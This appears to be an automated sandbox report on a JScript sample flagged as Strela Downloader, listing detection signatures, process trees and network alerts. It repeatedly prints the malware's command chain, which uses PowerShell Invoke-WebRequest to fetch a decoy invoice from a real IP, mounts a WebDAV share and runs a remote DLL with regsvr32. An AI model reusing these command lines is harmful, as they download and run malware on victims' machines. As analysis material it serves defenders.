Edit tour

Windows Analysis Report
2153616741885716229.js

Overview

General Information

Sample name:	2153616741885716229.js
Analysis ID:	1587836
MD5:	c426c3c7b9c4b3a532615f13129a174a
SHA1:	f888b6a96c301bbdbf1c5b74ae720fcb0d9f4e00
SHA256:	7d1b6797610989b56da9702b62b3a5688d37c931707d931f13558c9eddbfd646
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3156 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5312 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4348 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7328 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1660,i,12714881071314078498,14039083725192833191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 772 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7072 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3156	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4348, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4348, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ProcessId: 3156, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7072, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ProcessId: 3156, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5312, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4348, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7072, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7200, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 772, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7072, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2153616741885716229.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll, ProcessId: 5312, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:26:38.706740+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:26:36.393829+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2153616741885716229.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2153616741885716229.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:26:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

